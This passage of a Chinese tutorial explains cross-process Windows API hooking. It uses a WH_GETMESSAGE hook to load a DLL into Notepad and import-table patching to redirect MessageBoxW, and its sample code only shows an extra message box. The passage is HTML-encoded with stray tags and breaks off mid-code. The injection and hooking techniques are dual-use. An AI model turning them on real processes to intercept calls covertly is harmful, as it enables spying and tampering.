/<br>}<br>void&nbsp;HookApi()&nbsp;{<br>&nbsp;/*加载API&nbsp;Hook同上面介绍的函数一样*/<br>}<br>//-----------------------<br>/*用于WH_GETMESSAGE的Hook&nbsp;Procedure*/<br>LRESULT&nbsp;CALLBACK&nbsp;GetMsgProc(int&nbsp;nCode,WPARAM&nbsp;wParam,&nbsp;LPARAM&nbsp;lParam)&nbsp;{<br>&nbsp;if&nbsp;(nCode&nbsp;==&nbsp;HC_ACTION)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MSG&nbsp;*msg&nbsp;=&nbsp;(MSG&nbsp;*)lParam;<br>&amp;n</string.h></stdlib.h></stdio.h></windows.h></c++&nbsp;builder深度历险></programming&nbsp;applications&nbsp;for&nbsp;microsoft&nbsp;windows>
&nbsp; if&nbsp;(msg-&gt;message&nbsp;==&nbsp;WM_CHAR)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(msg-&gt;wParam&nbsp;==&nbsp;'h')&nbsp;HookApi();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(msg-&gt;wParam&nbsp;==&nbsp;'u')&nbsp;UnHookApi();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;CallNextHookEx(hHook,nCode,wParam,lParam);<br>}<br>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;SetAPIHook(HWND&nbsp;handle)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;ThreadId&nbsp;=&nbsp;GetWindowThreadProcessId(handle,&nbsp;NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;hTarget&nbsp;=&nbsp;handle;<br>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,&nbsp;"Enabling&nbsp;CallWndProc&nbsp;Hook",&nbsp;szApp,&nbsp;MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;hHook&nbsp;=&nbsp;SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hInst,ThreadId);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hHook)&nbsp;{<br>&nbsp;MessageBox(NULL,"Hook&nbsp;OK!",&nbsp;szApp,&nbsp;MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;showerr("SetWindowsHookEx");<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;UnHookAPIHook()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,&nbsp;"Disenabling&nbsp;CallWndProc&nbsp;Hook",&nbsp;szApp,&nbsp;MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(UnhookWindowsHookEx(hHook))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,"UnHook&nbsp;OK!",&nbsp;szApp,&nbsp;MB_OK);&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br>&nbsp;showerr("UnHookWindowsHookEx");<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br>分析<br>几个需要注意的问题<br>SetAPIHook
和UnHookAPIHook是我们自己进程调用的用来加载WH_GETMESSAGE&nbsp;Hook的函数。由于我们的程序要用LoadLibrary加载
这个Dll因此这两个函数要用__declspec(dllexport)修饰，使其成为导出函数，才能被GetAddressProc函数找到。加上
&nbsp;extern&nbsp;"C"是让编译器使用C语言编码方式。因为C++编译器会进行Dynamic&nbsp;Binding(C++函数重载的实现),将函数的参数类
型附加到名称上。是函数的导出名看起来像SetAPIHook@XYTZX之类的,不利于GetAddressProc进行引用。因此使用
extern&nbsp;"C"让编译器不使用Dynamic&nbsp;Binding，自然使用extern"C"的函数也就不能被重载了。<br><br>不要忘记在GetMsgProc最后要调用CallNextHookEx函数，保证Hook链的完整性。<br><br>一
定要在Hook&nbsp;Procedure中调用HookApi和UnHookApi函数，因为保存API入口地址的地方在目标进程中，你必须在目标进程的进程
空间内完成卸载操作，不能在UnHookAPIHook或是SetAPIHook函数中调用，因为UnHookAPIHook是我们的进程调用的，因此在
我们的进程空间中。在这里使用UnHookApi会造成一个非法访问的错误。而使用HookApi会给自己的DLL加上API&nbsp;Hook。<br><br>SetWindowsHookEx的最后参数是ThreadId不是Handle,因此要通过调用GetWindowThreadProcessId转换一下。&nbsp;<br><br>在跨进程API&nbsp;HOOK时可能用到的其他技术<br>主进程与目标进程的信息交互和共享<br>由
于使用了WH_GETMESSAGE钩子我们可以利用Windows消息机制实现进程间通讯。需要注意的是应该使用PostThreadMessage来
发送让WH_GETMESSAGE得到的消息而不是SendMessage或者PostMessage,因为后两个是用来给窗口发送消息的。而我们的
WH_GETMESSAGE是Hook在线程上面的，因此需使用PostThreadMessage.<br><br>传递不太大的数据可以使用
WM_COPYDATA消息来进行。同样也应该注意，如果使用MFC的窗口过程获得消息就需要用SendMessage发送了。WM_COPYDATA的
使用相对简单可以参考MSDN的文档。也可以参考附录里的程序Hook.cpp的showerr函数部分。<br><br>如果传递较大的数据或者希望数据共享比较方便可以开辟共享内存来进行数据共享。这里简单分析一下使用共享内存的代码&nbsp;<br><br>HANDLE&nbsp;hMap;<br>switch&nbsp;(reason)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;/*创建/打开共享内存区域*/<br>&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;CreateFileMapping((HFILE&nbsp;*)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBALDATA),ID_MAP);<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data&nbsp;=&nbsp;(GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0&nbsp;,0&nbsp;,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!pg_data)&nbsp;{<br>&nbsp;MessageBox(NULL,"无法建立共享内存，程序终止！",szApp,MB_OK);<br>&nbsp;if&nbsp;(hMap)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hMap);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;hInst&nbsp;=&nbsp;hInst;<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("共享内存映像文件");<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("DLL装载中...",FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(pg_data)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnmapViewOfFile(pg_data);<br>&nbsp;pg_data&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hMap)&nbsp;{<br>&nbsp;CloseHandle(hMap);<br>&nbsp;hMap&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;break;<br>}<br><br>上
面的代码通过CreateFileMapping建立共享区域。将其第一个参数设置为0xFFFFFFFF使其能创建一个内存共享区域而不是文件。并标记
为可读写的(PAGE_READWRITE).其大小为我们定义的结构体GLOBALDATA的大小。最后的ID_MAP是一个用来标示这个区域的字符
串。打开或者创建完共享区域后，我们用MapViewOfFile来获得这个区域的地址。之后就可以直接使用pg_data来操作共享区域了。不要忘记在
DLL退出的时候安全的删除共享区域释放内存。&nbsp;<br>消息等待与安全卸载<br>在我们卸载WH_GETMESSAGE钩子之前必须先把目标程序的
API调用恢复正常。我们不能再调用UnHookApi之后就立刻调用UnhookWindowsHookEx,因为很有可能UnHookApi还没来得
急完成API入口地址的恢复操作，WH_GETMESSAGE钩子就已经被卸载了。因此需要等待一段时间，等UnHookApi完成了恢复操作在调用
UnhookWindowsHookEx。以防错误发生。<br><br>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;void&nbsp;UnHookAPIHook()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;/*向目标线程发送消息进行API&nbsp;UNHOOK*/<br>&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget,WM_DISABLEAPIHOOK,(WPARAM)GetCurrentThreadId(),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("WM_DISABLEAPIHOOK");<br>&nbsp;&nbsp;&nbsp;&nbsp;/*等待目标进程返回WM_UNHOOKOK消息，确认可以将WH_GETMESSAGE的HOOK去掉*/<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;MSG&nbsp;Msg;<br>&nbsp;&nbsp;&nbsp;&nbsp;do&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetMessage(&amp;Msg,NULL,0,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;}while(Msg.message&nbsp;!=&nbsp;&nbsp;WM_UNHOOKOK);<br>&nbsp;&nbsp;&nbsp;&nbsp;UnhookWindowsHookEx(pg_data-&gt;hHook);<br>&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idTarget,WM_DISABLEAPIHOOKOK,(WPARAM)GetCurrentThreadId(),0);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("UnHookWindowsHookEx");<br>}<br>上面的代码中我们使用一个含有GetMessage的循环来等待消息的到达，一旦UnHookApi完成他就会发送WM_UNHOOKOK消息。等我们接收到消息确认一切安全了在来卸载WH_GETMESSAGE钩子。&nbsp;<br>弄清消息对象<br>我
们一定要清楚代码是在主程序进程空间中执行的还是在目标程序进程空间中执行的。像上面的UnHookAPIHook函数就是通过主程序调用的，因此在主程
序进程空间中执行。这样一来用来恢复目标程序API信息的UnHookApi完成后就应该向主程序发送消息，而不是目标程序。<br><br>目标进程加载了其他DLL<br>如果目标进程动态加载了其他的DLL文件，我们必须监视LoadLibrary函数。保证DLL中的API入口地址也被正确修改。防止出现混乱的情况。我从LoadLibrary获得DLL的路径用于GetModuleHandle来取得他的ImageBase的地址。<br><br>不知道文章写的如何，希望大家能多给些批评意见。发现问题我马上改正<br>Email:&nbsp;detrox@yang.com.cn<br><br>参考资料<br>&lt;
<programming&nbsp;applications&nbsp;for&nbsp;microsoft&nbsp;windows>&gt;,&nbsp;Jeffrey&nbsp;Richter,&nbsp;Microsoft&nbsp;Press<br><br>&lt;<c++&nbsp;builder&nbsp;深度历险>&gt;,陈宽达,华中科大出版社<br><br>&lt;&gt;,&nbsp;LUEVELSMEYER<br><br>&lt;<iczelion's&nbsp;pe&nbsp;tutorial>&gt;,&nbsp;Iczelion<br><br>附:跨进程APIHook的例子<br>先打开一个记事本程序并输入几个字符，运行下面的程序，加载APIHook.之后在记事本的文件菜单中选择新建就会看到API&nbsp;Hook将MessageBoxW&nbsp;函数Hook的结果了.<br>代码在WinXP&nbsp;SP1&nbsp;+&nbsp;VC6.0测试成功。<br><br>下载源代码<br><br>(特别感谢老罗的代码着色器，比我自己那个好多了)<br><br>这是DLL的程序，Hook.dll<br>#include&nbsp;<windows.h><br>#include&nbsp;<stdio.h><br>#include&nbsp;<stdlib.h><br>#include&nbsp;<string.h><br>#include&nbsp;"mydef.h"<br><br>const&nbsp;char&nbsp;szApp[]&nbsp;=&nbsp;"Hook.dll";&nbsp;/*应用程序名称*/<br>HANDLE&nbsp;hMap;/*在共享内存映像的句柄*/<br>GLOBALDATA&nbsp;*pg_data;&nbsp;/*在共享内存中的全局数据*/<br>LRESULT&nbsp;CALLBACK&nbsp;GetMsgProc(int,WPARAM,&nbsp;LPARAM);<br><br>/*显示GetLastError指出的错误*/<br>void&nbsp;showerr(const&nbsp;char&nbsp;*m,&nbsp;BOOL&nbsp;GetError&nbsp;=&nbsp;TRUE)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;message[127];<br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;buf[255];<br>&nbsp;&nbsp;&nbsp;&nbsp;COPYDATASTRUCT&nbsp;cds;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(GetError)&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,0<br>&nbsp;&nbsp;,GetLastError(),MAKELANGID(LANG_NEUTRAL,&nbsp;SUBLANG_DEFAULT),message,127,&nbsp;0);<br>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*message&nbsp;=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Get</string.h></stdlib.h></stdio.h></windows.h></iczelion's&nbsp;pe&nbsp;tutorial></c++&nbsp;builder&nbsp;深度历险></programming&nbsp;applications&nbsp;for&nbsp;microsoft&nbsp;windows>
CurrentThreadId()&nbsp;!=&nbsp;pg_data-&gt;idMain)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buf,"目标程序空间DLL:&nbsp;%-30s&nbsp;[%-40s]",m,&nbsp;message);<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buf,"主程序空间DLL&nbsp;&nbsp;:&nbsp;%-30s&nbsp;[%-40s]",m,&nbsp;message);<br>&nbsp;&nbsp;&nbsp;&nbsp;cds.lpData&nbsp;=&nbsp;buf;<br>&nbsp;&nbsp;&nbsp;&nbsp;cds.cbData&nbsp;=&nbsp;sizeof(buf);<br>&nbsp;&nbsp;&nbsp;&nbsp;cds.dwData&nbsp;=&nbsp;0;<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;SendMessage(pg_data-&gt;hWndMain,WM_COPYDATA,(WPARAM)pg_data-&gt;hWndTarget,(LPARAM)&amp;cds);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;SetLastError(0);<br>}<br>int&nbsp;WINAPI&nbsp;MyMessageBoxW(HWND&nbsp;hWnd&nbsp;,LPCWSTR&nbsp;M1,LPCWSTR&nbsp;M2,&nbsp;UINT&nbsp;M3)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;wchar_t&nbsp;buf[255];<br>&nbsp;&nbsp;&nbsp;&nbsp;swprintf(buf,L"!!这个窗口的API被Hook了!! HWND:&nbsp;0x%08X Message:&nbsp;%s Caption:&nbsp;%s"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,(DWORD&nbsp;*)hWnd<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;M1<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;M2);<br>&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;oldAPIFunction(hWnd,buf,M2,MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;pg_data-&gt;oldAPIFunction(hWnd,M1,M2,M3);<br>}<br><br>/*DLL&nbsp;入口函数*/<br>BOOL&nbsp;WINAPI&nbsp;DllMain(HINSTANCE&nbsp;hInst,&nbsp;DWORD&nbsp;reason,LPVOID&nbsp;lpvReserved)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(reason)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*创建/打开共享内存区域*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;CreateFileMapping((HFILE&nbsp;*)0xFFFFFFFF,NULL,PAGE_READWRITE,0,sizeof(GLOBALDATA),ID_MAP);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pg_data&nbsp;=&nbsp;(GLOBALDATA*)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0&nbsp;,0&nbsp;,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!pg_data)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(NULL,"无法建立共享内存，程序终止！",szApp,MB_OK);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hMap)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hMap);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;hInst&nbsp;=&nbsp;hInst;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("共享内存映像文件");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("DLL装载中...",FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("DLL卸载中...",FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(pg_data)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnmapViewOfFile(pg_data);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pg_data&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hMap)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hMap);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hMap&nbsp;=&nbsp;NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}</a><br>&nbsp;return&nbsp;true;<br>}<br>/*卸载API&nbsp;Hook*/<br>void&nbsp;UnHookApi()&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;written&nbsp;=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;oldaddrAPIFunction&nbsp;=&nbsp;(DWORD)pg_data-&gt;oldAPIFunction;<br>&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory(GetCurrentProcess(),(DWORD&nbsp;*)pg_data-&gt;addrAPIEntryPoint<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&amp;oldaddrAPIFunction,sizeof(DWORD),&nbsp;&amp;written);<br>&nbsp;&nbsp;&nbsp;&nbsp;showerr("WriteProcessMemory&nbsp;on&nbsp;UnHook");<br>&nbsp;&nbsp;&nbsp;&nbsp;/*向主线程发送&nbsp;API&nbsp;UNHOOK&nbsp;处理完毕的消息*/<br>&nbsp;&nbsp;&nbsp;&nbsp;PostThreadMessage(pg_data-&gt;idMain,WM_UNHOOKOK,0,0);<br>}<br><br>/*加载API&nbsp;Hook*/<br>void&nbsp;HookApi(const&nbsp;char*&nbsp;szApiName,&nbsp;tAPIFunction&nbsp;newAddr,&nbsp;DWORD&nbsp;ImageBase)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;/*这段代码请参考文章中的分析*/<br>&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_DOS_HEADER&nbsp;*pidh;<br>&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_NT_HEADERS&nbsp;*pinh;<br>&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_DATA_DIRECTORY&nbsp;*pSymbolTable;<br>&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_IMPORT_DESCRIPTOR&nbsp;*piid;<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;pidh&nbsp;=&nbsp;(IMAGE_DOS_HEADER&nbsp;*)ImageBase;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;pinh&nbsp;=&nbsp;(IMAGE_NT_HEADERS&nbsp;*)((DWORD)ImageBase&nbsp;+&nbsp;pidh-&gt;e_lfanew);<br>&nbsp;&nbsp;&nbsp;&nbsp;pSymbolTable&nbsp;=&nbsp;&amp;pinh-&gt;OptionalHeader.DataDirectory[1];<br>&nbsp;&nbsp;&nbsp;&nbsp;piid&nbsp;=(IMAGE_IMPORT_DESCRIPTOR&nbsp;*)((DWORD)ImageBase&nbsp;+&nbsp;&nbsp;pSymbolTable-&gt;VirtualAddress);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;do&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_THUNK_DATA&nbsp;*pitd_org,*pitd_1st;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pitd_org&nbsp;=&nbsp;(IMAGE_THUNK_DATA&nbsp;*)((DWORD)ImageBase&nbsp;+&nbsp;piid-&gt;OriginalFirstThunk);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pitd_1st&nbsp;=&nbsp;(IMAGE_THUNK_DATA&nbsp;*)((DWORD)ImageBase&nbsp;+&nbsp;piid-&gt;FirstThunk);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_IMPORT_BY_NAME&nbsp;*piibn;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;piibn&nbsp;=&nbsp;(IMAGE_IMPORT_BY_NAME&nbsp;*)((DWORD)ImageBase&nbsp;+&nbsp;&nbsp;*((DWORD&nbsp;*)pitd_org));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PROC&nbsp;*pAPIFunction&nbsp;=&nbsp;(PROC&nbsp;*)(pitd_1st-&gt;u1.Function);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!strcmp(szApiName,(char&nbsp;*)piibn-&gt;Name))&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;addrNewAPIFunction&nbsp;=&nbsp;(DWORD)MyMessageBoxW;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;written&nbsp;=&nbsp;0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;oldAccess;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;oldAPIFunction&nbsp;=&nbsp;(tAPIFunction)(pAPIFunction);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*Change&nbsp;Memeory&nbsp;State*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VirtualProtect(&amp;pitd_1st-&gt;u1.Function,sizeof(DWORD),PAGE_WRITECOPY,&amp;oldAccess);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("VirtualProtect");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pg_data-&gt;addrAPIEntryPoint&nbsp;=&nbsp;(DWORD)&amp;pitd_1st-&gt;u1.Function;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*Write&nbsp;Process&nbsp;Memory*/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory(GetCurrentProcess(),&amp;pitd_1st-&gt;u1.Function<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;,&nbsp;&amp;addrNewAPIFunction,sizeof(DWORD),&nbsp;&amp;written);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showerr("WriteProcessMemory&nbsp;on&nbsp;Hook");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pitd_org++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pitd_1st++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;while&nbsp;(pitd_1st-&gt;u1.Function);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;piid++;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;while&nbsp;(piid-&gt;FirstThunk&nbsp;+&nbsp;piid-&gt;Characteristics&nbsp;<br>&nbsp;+&nbsp;piid-&gt;ForwarderChain&nbsp